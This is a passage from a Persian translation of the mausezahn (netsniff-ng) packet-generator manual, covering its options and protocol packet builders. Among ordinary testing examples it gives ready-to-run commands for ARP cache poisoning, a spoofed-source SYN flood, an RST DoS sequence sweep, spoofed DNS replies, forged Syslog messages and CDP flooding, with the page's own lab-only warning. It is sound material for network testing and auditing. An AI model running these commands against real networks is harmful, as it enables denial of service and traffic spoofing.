در صورتی که فایل را در آن مسیر کپی کرده باشید. اکنون هنگامی که 'show packet' را وارد می‌کنید، یک مدخل بسته جدید در فهرست بسته‌ها خواهید دید. از دستور 'start slot <nr>' برای فعال کردن این بسته استفاده کنید.

می‌توانید بسته‌های ساخته‌شده توسط خود را در چنین فایلی ذخیره کرده و در صورت نیاز آن‌ها را به راحتی بارگذاری کنید. هر دستور در چنین فایل‌های پیکربندی در رابط خط فرمان طوری اجرا می‌شود که گویی خودتان آن را تایپ کرده‌اید -- بنابراین مراقب ترتیب دستورات باشید و فراموش نکنید که از 'configure terminal' به عنوان نخستین دستور استفاده کنید.

حتی می‌توانید فایل‌های دیگری را از درون یک فایل پیکربندی مرکزی بارگذاری کنید.

بسیاری از آرگومان‌ها اجازه ورود مستقیم بایت‌ها را می‌دهند. بایت‌ها با دو رقم هگزادسیمال نشان داده می‌شوند. بایت‌های چندگانه باید با فاصله، دونقطه، یا خط تیره از هم جدا شوند - هر کدام را که ترجیح می‌دهید. رشته‌های بایت زیر معادل یکدیگرند:


"aa:bb cc-dd-ee ff 01 02 03-04 05"
"aa bb cc dd ee ff:01:02:03:04 05"

برای شروع، ممکن است بخواهید یک فریم دلخواه و جذاب (احتمالاً نامعتبر) را مستقیماً از طریق کارت شبکه خود ارسال کنید:


mausezahn ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:ff:08:00:ca:fe:ba:be

یا به شکل معادل اما خواناتر:


mausezahn ff:ff:ff:ff:ff:ff-ff:ff:ff:ff:ff:ff-08:00-ca:fe:ba:be

هنگامی که mausezahn را بدون آرگومان اجرا می‌کنید، تمام گزینه‌های اصلی خط فرمان فهرست می‌شوند. برای کاربرد عملی، گزینه‌های ویژه (که کمتر شناخته شده‌اند) زیر را به خاطر بسپارید:


-r تأخیر مشخص‌شده را در یک مقدار تصادفی ضرب می‌کند.
-p <length> فریم خام را تا طول مشخص‌شده پر می‌کند (با بایت‌های تصادفی).
-P <ASCII Payload> از بار داده متنی (ASCII) مشخص‌شده استفاده می‌کند.
-f <filename> بار داده متنی (ASCII) را از یک فایل می‌خواند.
-F <filename> بار داده هگزادسیمال را از یک فایل می‌خواند.
-S حالت شبیه‌سازی: هیچ چیزی روی سیم ارسال نمی‌کند.
این حالت معمولاً با یکی از حالت‌های پرگو
(-v یا V) ترکیب می‌شود.

بسیاری از گزینه‌ها نیازمند یک کلمه کلیدی یا یک عدد هستند، اما گزینه -t یک استثنا است زیرا هم به یک نوع بسته (مانند ip، udp، dns و غیره) و هم به یک رشته آرگومان خاص برای آن نوع بسته نیاز دارد. در اینجا چند مثال ساده آورده شده است:


mausezahn -t help
mausezahn -t tcp help
mausezahn eth3 -t udp sp=69,dp=69,p=ca:fe:ba:be

توجه: فراموش نکنید که در CLI، پوسته لینوکس (معمولاً Bash) فاصله‌ها را به عنوان نویسه جداکننده تفسیر می‌کند. به این معنی که اگر آرگومانی را مشخص می‌کنید که شامل چندین کلمه با فاصله در بین آن‌ها است، حتماً باید آن‌ها را درون علامت نقل‌قول قرار دهید. برای مثال، به جای


mausezahn eth0 -t udp sp=1,dp=80,p=00:11:22:33

می‌توانید فاصله‌ها را حذف کنید


mausezahn eth0 -t udp sp=1,dp=80,p=00:11:22:33

یا برای اطمینان بیشتر، از علامت نقل‌قول استفاده کنید:


mausezahn eth0 -t udp "sp=1,dp=80,p=00:11:22:33"

برای نظارت بر آنچه در حال رخ دادن است، می‌توانید حالت پرگو را با استفاده از گزینه -v فعال کنید. نقطه مقابل آن حالت بی‌صدا (-q) است که mausezahn را کاملاً ساکت نگه می‌دارد (به جز پیام‌های خطا و هشدارها).

آرگومان بار داده p=... را با گزینه پرکننده (padding) -p اشتباه نگیرید. گزینه دوم در خارج از علامت‌های نقل‌قول استفاده می‌شود!

یک آرگومان مهم -t است که بسته‌ساز را فرامی‌خواند. در حال حاضر بسته‌سازهایی برای ARP، BPDU، CDP، IP، تا حدی ICMP، UDP، TCP، RTP، DNS و SYSLOG وجود دارد. (علاوه بر این می‌توانید یک برچسب VLAN یا یک پشته برچسب MPLS درج کنید، اما این مورد مستقل از بسته‌ساز عمل می‌کند.)

با استفاده از کلمه کلیدی help می‌توانید برای هر بسته‌ساز راهنمای وابسته به زمینه دریافت کنید، مانند:


mausezahn -t bpdu help
mausezahn -t tcp help

برای هر بسته می‌توانید یک بار داده اختیاری مشخص کنید. این کار می‌تواند یا از طریق نماد هگزادسیمال با استفاده از آرگومان payload (یا به صورت کوتاه p) یا مستقیماً به عنوان متن ASCII با استفاده از گزینه -P انجام شود:


mausezahn eth0 -t ip -P "Hello World" # بار داده متنی
mausezahn eth0 -t ip p=68:65:6c:6c:6f:20:77:6f:72:6c:64 # بار داده هگزادسیمال
mausezahn eth0 -t ip "proto=89, \
p=68:65:6c:6c:6f:20:77:6f:72:6c:64, \ # همین مورد با سایر
ttl=1" # آرگومان‌های IP

توجه: حالت دسترسی پیوند خام تنها بارهای داده هگزادسیمال را می‌پذیرد (زیرا در اینجا همه چیز را به صورت هگزادسیمال مشخص می‌کنید).

به طور پیش‌فرض فقط یک بسته ارسال می‌شود. اگر می‌خواهید بسته‌های بیشتری ارسال کنید از گزینه شمارش -c <count> استفاده کنید. هنگامی که count برابر با صفر باشد، mausezahn تا ابد بسته ارسال خواهد کرد. به طور پیش‌فرض، mausezahn با حداکثر سرعت ارسال می‌کند (و این واقعاً سریع است ;-)). اگر نمی‌خواهید دستگاه‌های شبکه خود را تحت فشار بیش از حد قرار دهید یا دلایل دیگری برای ارسال با نرخ کمتر دارید، می‌توانید با استفاده از گزینه -d <delay> یک تأخیر مشخص کنید.

اگر فقط یک مقدار عددی مشخص کنید، بر حسب واحد میکروثانیه تفسیر می‌شود. از طرف دیگر، برای استفاده ساده‌تر، می‌توانید واحدهایی مانند seconds، sec، milliseconds، یا msec را مشخص کنید. (همچنین می‌توانید این موارد را با s یا m مخفف کنید.) توجه: بین مقدار و واحد از فاصله استفاده نکنید! در اینجا چند مثال معمول آورده شده است:

ارسال تعداد نامحدودی فریم با حداکثر سرعت ممکن:


mausezahn -c 0 "aa bb cc dd ...."

ارسال 100,000 فریم با فاصله زمانی 50 میلی‌ثانیه:


mausezahn -c 100000 -d 50msec "aa bb cc dd ...."

ارسال تعداد نامحدودی از فریم‌های BPDU در بازه زمانی ۲ ثانیه:


mausezahn -c 0 -d 2s -t bpdu conf

توجه: mausezahn از اعداد اعشاری پشتیبانی نمی‌کند. اگر می‌خواهید برای مثال 2.5 ثانیه را مشخص کنید، آن را به میلی‌ثانیه بیان کنید (2500 msec).

به عنوان یک ترفند حافظه‌ای به خاطر داشته باشید که تمام بسته‌ها از "A" به سمت "B" می‌روند. شما همیشه می‌توانید نشانی‌های MAC مبدأ و مقصد را به ترتیب با استفاده از گزینه‌های -a و -b مشخص کنید. این گزینه‌ها همچنین کلمات کلیدی مانند rand، own، bpdu، cisco و موارد دیگر را می‌پذیرند.

به طور مشابه، می‌توانید نشانی‌های IP مبدأ و مقصد را به ترتیب با استفاده از گزینه‌های -A و -B مشخص کنید. این گزینه‌ها همچنین از FQDNها (یعنی نام‌های دامنه) و محدوده‌هایی مانند 192.168.0.0/24 یا 10.0.0.11-10.0.3.22 پشتیبانی می‌کنند. علاوه بر این، گزینه نشانی مبدأ از کلمه کلیدی rand پشتیبانی می‌کند (که برای "حملات" ایده‌آل است).

توجه: هنگامی که از بسته‌ساز برای بسته‌های مبتنی بر IP (مانند UDP یا TCP) استفاده می‌کنید، mausezahn به طور خودکار نشانی‌های صحیح MAC و IP را مدیریت می‌کند (یعنی عملیات ARP، DHCP و DNS را برای شما انجام می‌دهد). اما هنگامی که حداقل یک نشانی لایه پیوند (یا هر گزینه لایه ۲ دیگری مانند برچسب VLAN یا هدر MPLS) را مشخص کنید، ARP غیرفعال می‌شود و باید خودتان مراقب نشانی مقصد اترنت باشید.

برنامه mausezahn به شما امکان می‌دهد هر زنجیره‌ای از بایت‌ها را مستقیماً از طریق رابط اترنت خود ارسال کنید:


mausezahn eth0 "ff:ff:ff:ff:ff:ff ff:ff:ff:ff:ff:ff 00:00 ca:fe:ba:be"

به این ترتیب می‌توانید هر بسته‌ای را که می‌خواهید بسازید، اما باید این کار را به صورت دستی انجام دهید. توجه: در رابط‌های Wi-Fi، هدر بسیار پیچیده‌تر است و به طور خودکار توسط درایور Wi-Fi ایجاد می‌شود. به عنوان مثالی برای معرفی برخی گزینه‌های جالب، بیایید فریم‌ها را به طور مداوم با حداکثر سرعت، با نشانی MAC مبدأ تصادفی و نشانی مقصد پخشی ارسال کنیم و همچنین فریم را تا 1000 بایت پر کنیم:


mausezahn eth0 -c 0 -a rand -b bcast -p 1000 "08 00 aa bb cc dd"

دسترسی مستقیم به پیوند از پر کردن خودکار با استفاده از گزینه -p <total frame length> پشتیبانی می‌کند. این به شما امکان می‌دهد یک فریم L2 خام را تا طول مورد نظر پر کنید. شما باید طول کل را مشخص کنید، و طول کل فریم به دلایل فنی باید حداقل ۱۵ بایت باشد. از بایت‌های صفر برای پر کردن استفاده می‌شود.

برنامه mausezahn یک رابط ساده برای بسته ARP فراهم می‌کند. می‌توانید روش ARP (request|reply) و حداکثر چهار آرگومان را مشخص کنید: sendermac، targetmac، senderip، targetip، یا به اختصار smac، tmac، sip، tip. به طور پیش‌فرض، یک پاسخ ARP با نشانی‌های رابط خود شما به عنوان MAC و IP مبدأ، و نشانی MAC و IP پخشی به عنوان مقصد ارسال می‌شود. ارسال یک درخواست ARP بلاعوض (همان‌طور که برای شناسایی نشانی IP تکراری استفاده می‌شود):


mausezahn eth0 -t arp

مسموم‌سازی حافظه پنهان ARP:


mausezahn eth0 -t arp "reply, senderip=192.168.0.1, targetmac=00:00:0c:01:02:03, \
targetip=172.16.1.50"

که در آن به طور پیش‌فرض از نشانی MAC رابط شما به عنوان sendermac استفاده می‌شود، senderip بیانگر نشانی IP جعل‌شده است، و targetmac و targetip گیرنده را مشخص می‌کنند. به طور پیش‌فرض، نشانی مبدأ اترنت، نشانی MAC رابط شما و نشانی مقصد، نشانی پخشی است. می‌توانید این مقادیر را با استفاده از فلگ‌های -a و -b تغییر دهید.

برنامه mausezahn یک رابط ساده برای ساختار فریم 802.1D BPDU (مورد استفاده برای ایجاد درخت پوشا در شبکه‌های پل‌شده) فراهم می‌کند. به طور پیش‌فرض، فریم‌های BPDU استاندارد IEEE 802.1D ارسال می‌شوند و فرض بر این است که رایانه شما می‌خواهد به پل ریشه تبدیل شود (rid=bid). به صورت اختیاری، نشانی مقصد 802.3 می‌تواند یک نشانی MAC مشخص، پخشی، MAC خود سیستم، یا نشانی MAC پروتکل PVST+ سیسکو باشد. نشانی MAC مقصد را می‌توان با استفاده از دستور -b مشخص کرد که علاوه بر نشانی‌های MAC، کلمات کلیدی مانند bcast، own، pvst، یا stp (پیش‌فرض) را می‌پذیرد. پروتکل PVST+ نیز پشتیبانی می‌شود. کافی است VLAN مورد نظری که می‌خواهید برای آن BPDU ارسال کنید را مشخص نمایید:


mausezahn eth0 -t bpdu "vlan=123, rid=2000"

برای جزئیات بیشتر، mausezahn -t bpdu help را ببینید.

برنامه mausezahn می‌تواند پیام‌های پروتکل کشف سیسکو (CDP) را ارسال کند چرا که این پروتکل اهمیت امنیتی دارد. البته ترفندهای ناپاک متعددی امکان‌پذیر است؛ برای مثال می‌توان TLVهای دلخواه ایجاد کرد (با استفاده از آرگومان بار داده هگزادسیمال، مثلاً p=00:0e:00:07:01:01:90) و اگر بخواهید پایگاه داده CDP یک دستگاه را تحت فشار بگذارید، mausezahn می‌تواند با استفاده از کلمه کلیدی change، هر پیام CDP را با یک شناسه سیستم متفاوت ارسال کند:


mausezahn -t cdp change -c 0

برخی از روترها و سوییچ‌ها ممکن است به دردسرهای اساسی بیفتند ;-) برای جزئیات بیشتر mausezahn -t cdp help را ببینید.

برنامه mausezahn برچسب‌گذاری ساده VLAN را برای بسته‌های IP (و سایر لایه‌های بالاتر) ممکن می‌سازد. کافی است از گزینه -Q <[CoS:]VLAN> استفاده کنید، مانند -Q 10 یا -Q 3:921. به طور پیش‌فرض CoS=0 است. برای مثال، ارسال یک بسته TCP در VLAN 500 با استفاده از CoS=7:


mausezahn eth0 -t tcp -Q 7:500 "dp=80, flags=rst, p=aa:aa:aa"

شما می‌توانید به تعداد دلخواه برچسب VLAN ایجاد کنید! این امر برای ایجاد کپسوله‌سازی‌های QinQ یا پرش بین VLANها جذاب است: ارسال یک بسته UDP با برچسب‌های VLAN برابر با 100 (بیرونی) و 651 (درونی):


mausezahn eth0 -t udp "dp=8888, sp=13442" -P "Mausezahn is great" -Q 100,651

نمی‌دانم آیا این مورد در جایی کاربرد دارد یا خیر، اما حداقل امکان‌پذیر است:


mausezahn eth0 -t udp "dp=8888, sp=13442" -P "Mausezahn is great" \
-Q 6:5,7:732,5:331,5,6

ترکیب آن با MPLS:


mausezahn eth0 -t udp "dp=8888, sp=13442" -P "Mausezahn is great" -Q 100,651 -M 314

هنگامی که در حالت لایه ۲ خام هستید، باید برچسب VLAN را کاملاً خودتان بسازید. برای مثال اگر می‌خواهید فریمی را در VLAN 5 با استفاده از CoS 0 ارسال کنید، کافی است 81:00 را به عنوان فیلد نوع مشخص کنید و برای دو بایت بعدی مقادیر CoS (یا PCP)، DEI (یا CFI) و شناسه VLAN را تعیین نمایید (که در مجموع به عنوان TCI شناخته می‌شوند):


mausezahn eth0 -b bc -a rand "81:00 00:05 08:00 aa-aa-aa-aa-aa-aa-aa-aa-aa"

برنامه mausezahn به شما امکان می‌دهد یک یا چند هدر MPLS درج کنید. کافی است از گزینه -M <label:CoS:TTL:BoS> استفاده کنید که در آن تنها فیلد label اجباری است. اگر عدد دومی مشخص کنید به عنوان بیت‌های آزمایشی (معمولاً CoS) تفسیر می‌شود. اگر عدد سومی مشخص کنید به عنوان TTL تفسیر می‌شود. به طور پیش‌فرض TTL روی 255 تنظیم شده است. پرچم Bottom of Stack (یا BoS) به طور خودکار تنظیم می‌شود، در غیر این صورت فریم نامعتبر خواهد بود، اما اگر تمایل داشته باشید می‌توانید آن را با استفاده از آرگومان‌های S (تنظیم) و s (لغو تنظیم) نیز مشخص کنید. توجه داشته باشید که BoS باید آخرین آرگومان در تعریف هر هدر MPLS باشد. در اینجا چند مثال آورده شده است:

استفاده از برچسب MPLS با مقدار 214:


mausezahn eth0 -M 214 -t tcp "dp=80" -P "HTTP..." -B myhost.com

استفاده از سه برچسب (214 اکنون برچسب بیرونی است):


mausezahn eth0 -M 9999,51,214 -t tcp "dp=80" -P "HTTP..." -B myhost.com

استفاده از دو برچسب، یکی با CoS=5 و TTL=1، و دیگری با CoS=7:


mausezahn eth0 -M 100:5:1,500:7 -t tcp "dp=80" -P "HTTP..." -B myhost.com

لغو تنظیم پرچم BoS (که منجر به یک فریم نامعتبر می‌شود):


mausezahn eth0 -M 214:s -t tcp "dp=80" -P "HTTP..." -B myhost.com

بسته‌های IP، UDP، و TCP را می‌توان با استفاده از گزینه -p پر کرد. در حال حاضر 0x42 به عنوان بایت پرکننده استفاده می‌شود ('پاسخ'). بسته‌های DNS را نمی‌توانید پر کنید (به هر حال بی‌فایده خواهد بود).

برنامه mausezahn به شما امکان می‌دهد هر بسته IP معیوب یا درستی را ارسال کنید. هر فیلدی در هدر IP قابل دستکاری است. نشانی‌های IP را می‌توان از طریق گزینه‌های -A و -B مشخص کرد که به ترتیب نشان‌دهنده نشانی مبدأ و مقصد هستند. شما همچنین می‌توانید یک محدوده نشانی یا یک نام میزبان (FQDN) تعیین کنید. علاوه بر این، نشانی مبدأ می‌تواند تصادفی نیز باشد. به طور پیش‌فرض نشانی مبدأ، نشانی IP رابط شما و نشانی مقصد یک نشانی پخشی است. در اینجا چند مثال آورده شده است:

بار داده متنی (ASCII):


mausezahn eth0 -t ip -A rand -B 192.168.1.0/24 -P "hello world"

بار داده هگزادسیمال:


mausezahn eth0 -t ip -A 10.1.0.1-10.1.255.254 -B 255.255.255.255 p=ca:fe:ba:be

از نشانی IP مبدأ صحیح استفاده خواهد کرد:


mausezahn eth0 -t ip -B www.xyz.com

بایت نوع خدمات (ToS) می‌تواند مستقیماً با دو رقم هگزادسیمال مشخص شود، که به این معنی است که می‌توانید بیت‌های اعلان ازدحام صریح (ECN) (بیت‌های کم‌ارزش ۱ و ۲) را نیز به راحتی تنظیم کنید، یا ممکن است بخواهید فقط یک مقدار رایج DSCP (بیت‌های ۳ تا ۸) را با استفاده از یک عدد ده‌دهی (0..63) مشخص کنید:

بسته ارسالی با مقدار DSCP = ارسال سریع (EF):


mausezahn eth0 -t ip dscp=46,ttl=1,proto=1,p=08:00:5a:a2:de:ad:be:af

اگر جمع کنترلی را صفر بگذارید (یا تعیین‌نشده رها کنید)، جمع کنترلی صحیح به طور خودکار محاسبه خواهد شد. توجه داشته باشید که تنها زمانی می‌توانید از یک جمع کنترلی نادرست استفاده کنید که حداقل یک فیلد لایه ۲ را نیز به صورت دستی مشخص نمایید.

برنامه mausezahn از تولید آسان دیتاگرام‌های UDP پشتیبانی می‌کند. کافی است نشانی مقصد (گزینه -B) و به صورت اختیاری یک نشانی مبدأ دلخواه (گزینه -A) را مشخص کنید و به عنوان آرگومان می‌توانید شماره پورت‌ها را با استفاده از آرگومان‌های dp (پورت مقصد) و sp (پورت مبدأ) و یک بار داده مشخص نمایید. همچنین می‌توانید به راحتی یک محدوده پورت کامل را تعیین کنید که منجر به ارسال بسته‌های چندگانه خواهد شد. در اینجا چند مثال آورده شده است:

ارسال بسته‌های آزمایشی به محدوده پورت‌های RTP:


mausezahn eth0 -B 192.168.1.1 -t udp "dp=16384-32767, \
p=A1:00:CC:00:00:AB:CD:EE:EE:DD:DD:00"

ارسال یک درخواست DNS به عنوان پخش همگانی محلی (اغلب یک روتر محلی پاسخ می‌دهد):


mausezahn eth0 -t udp dp=53,p=c5-2f-01-00-00-01-00-00-00-00-00-00-03-77-77-\
77-03-78-79-7a-03-63-6f-6d-00-00-01-00-01"

علاوه بر این می‌توانید طول و جمع کنترلی را با استفاده از آرگومان‌های len و sum مشخص کنید (به طور پیش‌فرض به درستی تنظیم می‌شوند). توجه: چندین پروتکل دارای آرگومان‌های یکسانی مانند len (طول) و sum (جمع کنترلی) هستند. اگر یک بسته از نوع UDP را (از طریق -t udp) مشخص کرده‌اید و می‌خواهید طول IP را تغییر دهید، از کلمات کلیدی جایگزین iplen و ipsum استفاده کنید. همچنین توجه داشته باشید که باید حداقل یک فیلد لایه ۲ را مشخص کنید که به mausezahn می‌گوید همه چیز را بدون کمک هسته سیستم‌عامل بسازد (هسته اجازه تغییر جمع کنترلی و طول IP را نمی‌دهد).

برنامه mausezahn در حال حاضر تنها از روش‌های ICMP زیر پشتیبانی می‌کند: PING (درخواست پژواک)، Redirect (انواع گوناگون)، Unreachable (انواع گوناگون). انواع دیگر ICMP در آینده پشتیبانی خواهند شد. در حال حاضر باید خودتان آن‌ها را طراحی کنید، مثلاً با استفاده از بسته‌ساز IP (تنظیم proto=1). برای راهنمایی درباره گزینه‌های پیاده‌سازی‌شده فعلی، از دستور mausezahn -t icmp help استفاده کنید.

برنامه mausezahn به شما امکان می‌دهد هر بسته TCP را به آسانی بسازید. همانند UDP می‌توانید پورت (یا محدوده‌های پورت) مبدأ و مقصد را با استفاده از آرگومان‌های sp و dp مشخص کنید. سپس می‌توانید پرچم‌های مورد نظر را مستقیماً با استفاده از "|" به عنوان جداکننده در صورتی که مایل به تعیین چندین پرچم هستید، مشخص نمایید. برای مثال، یک حمله طوفان SYN علیه میزبان 1.1.1.1 با استفاده از یک نشانی IP مبدأ تصادفی و استفاده دوره‌ای از تمام ۱۰۲۳ پورت شناخته‌شده می‌تواند به این صورت ایجاد شود:


mausezahn eth0 -A rand -B 1.1.1.1 -c 0 -t tcp "dp=1-1023, flags=syn" \
-P "Good morning! This is a SYN Flood Attack. \
We apologize for any inconvenience."

در مورد چنین حملات طوفان SYN مراقب باشید و فقط از آن‌ها برای آزمودن فایروال استفاده کنید. موقعیت قانونی خود را بررسی نمایید! به یاد داشته باشید میزبانی که یک نشست باز TCP دارد تنها بسته‌هایی را می‌پذیرد که دارای اطلاعات سوکت صحیح (نشانی‌ها و پورت‌ها) و یک شماره دنباله TCP (SQNR) معتبر باشند. اگر می‌خواهید با ارسال طوفان RST یک حمله DoS را امتحان کنید و SQNR اولیه هدف را نمی‌دانید (که معمولاً همین‌طور است)، ممکن است بخواهید محدوده‌ای از شماره‌های دنباله را پیمایش کنید:


mausezahn eth0 -A legal.host.com -B target.host.com \
-t tcp "sp=80,dp=80,s=1-4294967295"

خوشبختانه، SQNR باید با شماره تصدیق میزبان هدف به اضافه اندازه پنجره اعلام‌شده مطابقت داشته باشد. از آنجا که اندازه معمول پنجره چیزی بین 40000 تا 65535 است، هنگام استفاده از گام افزایشی از طریق آرگومان ds بسیار سریع‌تر خواهید بود:


mausezahn eth0 -A legal.host.com -B target.host.com \
-t tcp "sp=80, dp=80, s=1-4294967295, ds=40000"

در حالت دوم mausezahn به جای 4294967295 بسته، تنها 107375 بسته ارسال خواهد کرد (که به مدت زمانی در حدود ۱ ثانیه در مقایسه با ۱۱ ساعت منجر می‌شود!). البته می‌توانید هر بسته TCP را که دوست دارید بسازید. همانند سایر پروتکل‌های لایه ۴، mausezahn یک هدر IP صحیح می‌سازد اما شما می‌توانید علاوه بر این به هر فیلدی در بسته IP (و همچنین در فریم اترنت) دسترسی داشته باشید.

برنامه mausezahn از درخواست‌ها یا پاسخ‌های DNS مبتنی بر UDP پشتیبانی می‌کند. به طور معمول ممکن است بخواهید یک پرس‌وجو یا یک پاسخ ارسال کنید. طبق معمول، می‌توانید هر پرچمی را در هدر تغییر دهید. در اینجا مثالی از یک پرس‌وجوی ساده آورده شده است:


mausezahn eth0 -B mydns-server.com -t dns "q=www.ibm.com"

شما همچنین می‌توانید پیام‌هایی از نوع سرور ایجاد کنید:


mausezahn eth0 -A spoofed.dns-server.com -B target.host.com \
"q=www.topsecret.com, a=172.16.1.1"

نحو دستور طبق راهنمای آنلاین (-t dns help) به صورت زیر است:


query|q = <name>[:<type>] ............. where type is per default "A"
(and class is always "IN")
answer|a = [<type>:<ttl>:]<rdata> ...... ttl is per default 0.
= [<type>:<ttl>:]<rdata>/[<type>:<ttl>:]<rdata>/...

توجه: اگر فقط از گزینه 'query' استفاده کنید، یک پرس‌وجو ارسال می‌شود. اگر علاوه بر آن یک 'answer' اضافه کنید، یک پاسخ ارسال می‌گردد. مثال‌ها:


q = www.xyz.com
q = www.xyz.com, a=192.168.1.10
q = www.xyz.com, a=A:3600:192.168.1.10
q = www.xyz.com, a=CNAME:3600:abc.com/A:3600:192.168.1.10

لطفاً mausezahn -t dns help را اجرا کنید تا بسیاری از گزینه‌های خط فرمان اختیاری دیگر را مشاهده نمایید.

برنامه mausezahn می‌تواند بسته‌های دلخواه پروتکل بی‌درنگ (RTP) را ارسال کند. به طور پیش‌فرض یک بسته کدک کلاسیک G.711 با اندازه بخش ۲۰ میلی‌ثانیه و ۱۶۰ بایت فرض می‌شود. شما می‌توانید جیتر، اتلاف بسته و به‌هم‌ریختگی ترتیب را در طول مسیری میان دو میزبان اجراکننده mausezahn اندازه‌گیری کنید. اندازه‌گیری جیتر یا با پیروی از برآورد پالایش‌شده پایین‌گذر واریانس مشخص‌شده در RFC 3550 انجام می‌شود یا با استفاده از یک روش جایگزین "بی‌درنگ" که حتی دقیق‌تر است (روش RFC به طور پیش‌فرض استفاده می‌شود). برای مثال در Host1 یک فرآیند ارسال را آغاز می‌کنید:


mausezahn -t rtp -B 192.168.1.19

و در Host2 (192.168.1.19) یک فرآیند دریافت که اندازه‌گیری را انجام می‌دهد:


mausezahn -T rtp

توجه داشته باشید که فلگ گزینه با حرف بزرگ "T" به این معنی است که این یک فرآیند سرور RTP است که منتظر بسته‌های RTP ورودی از هر منبع mausezahn می‌ماند. در صورتی که می‌خواهید اندازه‌گیری را به یک منبع خاص محدود کنید یا می‌خواهید یک اندازه‌گیری دوطرفه انجام دهید، باید یک شناسه جریان مشخص کنید. در اینجا مثالی برای اندازه‌گیری‌های دوطرفه آورده شده است که میانگین در حال محاسبه جیتر را در یک فایل ثبت می‌کند:


Host1# mausezahn -t rtp id=11:11:11:11 -B 192.168.2.2 &
Host1# mausezahn -T rtp id=22:22:22:22 "log, path=/tmp/mz/"


Host2# mausezahn -t rtp id=22:22:22:22 -B 192.168.1.1 &
Host2# mausezahn -T rtp id=11:11:11:11 "log, path=/tmp/mz/"

در هر صورت، اندازه‌گیری‌ها به طور مداوم روی صفحه چاپ می‌شوند؛ به طور پیش‌فرض به این صورت است:


0.00 0.19 0.38 0.57
|-------------------------|-------------------------|-------------------------|
######### 0.07 msec
#################### 0.14 msec
## 0.02 msec
### 0.02 msec
######### 0.07 msec
#### 0.03 msec
######### 0.07 msec
############# 0.10 msec
## 0.02 msec
########################################### 0.31 msec
######### 0.07 msec
############################################## 0.33 msec
############### 0.11 msec
########## 0.07 msec
############### 0.11 msec
########################################################## 0.42 msec
##### 0.04 msec

اطلاعات بیشتر با استفاده از کلمه کلیدی txt نمایش داده می‌شود:


mausezahn -T rtp txt
Got 100 packets from host 192.168.0.3: 0 lost (0 absolute lost), 1 out of order
Jitter_RFC (low pass filtered) = 30 usec
Samples jitter (min/avg/max) = 1/186/2527 usec
Delta-RX (min/avg/max) = 2010/20167/24805 usec
Got 100 packets from host 192.168.0.3: 0 lost (0 absolute lost), 1 out of order
Jitter_RFC (low pass filtered) = 17 usec
Samples jitter (min/avg/max) = 1/53/192 usec
Delta-RX (min/avg/max) = 20001/20376/20574 usec
Got 100 packets from host 192.168.0.3: 0 lost (0 absolute lost), 1 out of order
Jitter_RFC (low pass filtered) = 120 usec
Samples jitter (min/avg/max) = 0/91/1683 usec
Delta-RX (min/avg/max) = 18673/20378/24822 usec

برای جزئیات بیشتر، mausezahn -t rtp help و mz -T rtp help را ببینید.

پروتکل سنتی Syslog حتی در شبکه‌های حرفه‌ای نیز به طور گسترده استفاده می‌شود و گاهی اوقات آسیب‌پذیر است. برای مثال ممکن است با جعل نشانی مبدأ خود، پیام‌های جعلی Syslog درج کنید (مثلاً جعل نشانی یک دستگاه شبکه معتبر):


mausezahn -t syslog sev=3 -P "You have been mausezahned." -A 10.1.1.109 -B 192.168.7.7

برای جزئیات بیشتر mausezahn -t syslog help را ببینید.

هنگامی که محدوده‌های چندگانه مشخص می‌شوند، مانند محدوده‌های پورت مقصد و محدوده‌های نشانی مقصد، تمام ترکیب‌های ممکن از پورت‌ها و نشانی‌ها برای تولید بسته استفاده می‌شوند. علاوه بر این، این مورد می‌تواند با محدوده‌های دیگر مانند محدوده شماره دنباله TCP ترکیب شود. توجه داشته باشید که ترکیب محدوده‌ها می‌تواند منجر به ارسال تعداد بسیار زیادی فریم شود. به عنوان یک قاعده سرانگشتی می‌توانید فرض کنید که بسته به رابط شبکه شما، حدود ۱۰۰,۰۰۰ فریم یا بیشتر در کسری از یک ثانیه ارسال می‌شود.

برنامه mausezahn به عنوان یک مولد سریع ترافیک طراحی شده است، بنابراین می‌توانید به راحتی یک بخش LAN را با انبوهی از بسته‌ها اشباع کنید. و از آنجا که mausezahn همچنین می‌تواند از ممیزی‌های امنیتی پشتیبانی کند، امکان ایجاد بسته‌های مخرب یا نامعتبر، طوفان‌های SYN، پیمایش پورت و نشانی، مسموم‌سازی DNS و ARP و غیره وجود دارد.

بنابراین، زمانی که از پیامدهای احتمالی آگاه نیستید یا اطلاعات کمی در مورد شبکه‌ها و ارتباطات داده دارید، از این ابزار استفاده نکنید. اگر از mausezahn برای حملات 'غیرمجاز' سوءاستفاده کنید و به دام بیفتید، یا به دارایی‌های خود آسیب برسانید، این کاملاً تقصیر شماست. بنابراین امن‌ترین راه‌حل این است که آن را در یک محیط آزمایشگاهی امتحان کنید.

همچنین به بخش نکات netsniff-ng(8) در مورد نحوه راه‌اندازی و تنظیم مناسب سیستم خود نگاهی بیندازید.

برنامه mausezahn تحت نسخه ۲.۰ از مجوز عمومی همگانی گنو (GNU GPL) منتشر شده است.

mausezahn در ابتدا توسط Herbert Haas نوشته شد. با توجه به وب‌سایت او [1]، او متأسفانه در سال ۲۰۱۱ درگذشت و در نتیجه این ابزار بدون نگه‌دارنده رها شد. این ابزار در جعبه‌ابزار netsniff-ng پذیرفته و ادغام شد و از آن زمان در آنجا توسعه و نگهداری می‌شود. نگه‌دارنده‌ها Tobias Klauser <tklauser@distanz.ch> و Daniel Borkmann <dborkma@tik.ee.ethz.ch> هستند.


[1] http://www.perihel.at

netsniff-ng(8), trafgen(8), ifpps(8), bpfc(8), flowtop(8), astraceroute(8), curvetun(8)

این صفحه راهنما توسط Herbert Haas نوشته شده و توسط Daniel Borkmann اصلاح گردیده است.

این صفحه بخشی از پروژه جعبه‌ابزار netsniff-ng در لینوکس است. توضیحات مربوط به پروژه و اطلاعات پیرامون گزارش باگ‌ها را می‌توان در http://netsniff-ng.org یافت.

03 March 2013 Linux